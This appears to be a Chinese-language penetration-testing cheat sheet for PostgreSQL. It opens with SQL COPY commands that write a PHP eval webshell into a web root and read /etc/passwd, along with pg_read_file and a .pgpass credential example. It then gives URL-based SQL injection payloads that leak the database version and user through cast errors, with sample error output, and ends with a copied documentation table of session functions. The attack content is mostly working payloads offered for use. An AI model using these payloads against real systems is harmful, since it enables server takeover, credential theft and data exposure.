更新时间:2022-09-07 16:09:39
1.在postgresql下导出webshell
create table mickey_shell(shell text not null);
insert into shell values('<?php eval($_POST[cmd]);?>');
copy mickey_shell(shell) to '/var/www/html/mickey.php';
另一种简便的方法:
copy (select '<?php eval($_POST[cmd]);?>') to '/var/www/html/mickey.php'
2.如果没有写权限,可以尝试读文件
create table mickey_file(file text not null);
copy mickey_file (file) from '/etc/passwd';
select * from mickey_file;
读取文件前20行
pg_read_file('/etc/passwd',1,20)
PGADMIN
的帐户信息,在linux
下默认存放在用户家目录的.pgpass
文件中
mickey@pentest:~$ pwd
/home/mickey
mickey@pentest:~$ cat .pgpass
127.0.0.1:5432:*:postgres:mickey
判断postgresql
数据库
http://www.xxx.com/news.php?id=62
and 1::int=1
通过cast
类型转换来暴postgresql
信息
http://www.xxx.com/new.php?id=1
and 1=cast(version() as int)
Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: invalid
input syntax for integer: "PostgreSQL 8.2.9 on
i386-portbld-freebsd6.3, compiled by GCC cc (GCC) 3.4.6 [FreeBSD]
20060305" in /usr/local/www/apache22/data/qzx/news.php on line 6
http://www.xxx.com/new.php?id=1
and 1=cast(current_user as int)
如果遇到此类的出错信息
Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: cannot
cast type name to integer in /usr/local/www/apache22/data/qzx/news.php
on line 6
则
http://www.xxx.com/new.php?id=1
and 1=cast(current_user ||123 as int)
Warning: pg_exec() [function.pg-exec]: Query failed: ERROR: invalid
input syntax for integer: "zhangfeng123" in
/usr/local/www/apache22/data/qzx/homehs.php on line 109
表 9-39 显示了几个抽取会话及系统信息的函数。
表 9-39. 会话信息函数 |
||
名字 |
返回类型 |
描述 |
current_database() |
name |
当前数据库的名字 |
current_schema() |
name |
当前模式的名字 |
current_schemas(boolean) |
name[] |
在搜索路径中的模式名字 |
current_user |
name |
目前执行环境下的用户名 |
inet_client_addr() |
inet |
连接的远端址 |
inet_client_port() |
int |
连接的远端端口 |
inet_server_addr() |
inet |
连接的本地地址 |
inet_server_port() |
int |
连接的本地端口 |
session_user |
name |
会话用户名 |
pg_postmaster_start_time() |
timestamp with time zone |
postmaster 启动的时间 |
user |
name |
等于 current_user |
version () |
text |
PostgreSQL 版本信息 |
session_user 通常是初始化当前数据库联接的用户, 不过超级用户可以用 SET SESSION AUTHORIZATION 修改这个设置。 current_user 是用于权限检查的用户标识。通常, 它总是等于会话用户,但是在将来可能有 "setuid" 函数和其他它是等于会话用户, 但是它在函数执行的过程中随着属性 SECURITY DEFINER 的改变而改变。 在 Unix 的说法里,那么会话用户是 " 真实用户 " ,而当前用户是 " 有效用户 " 。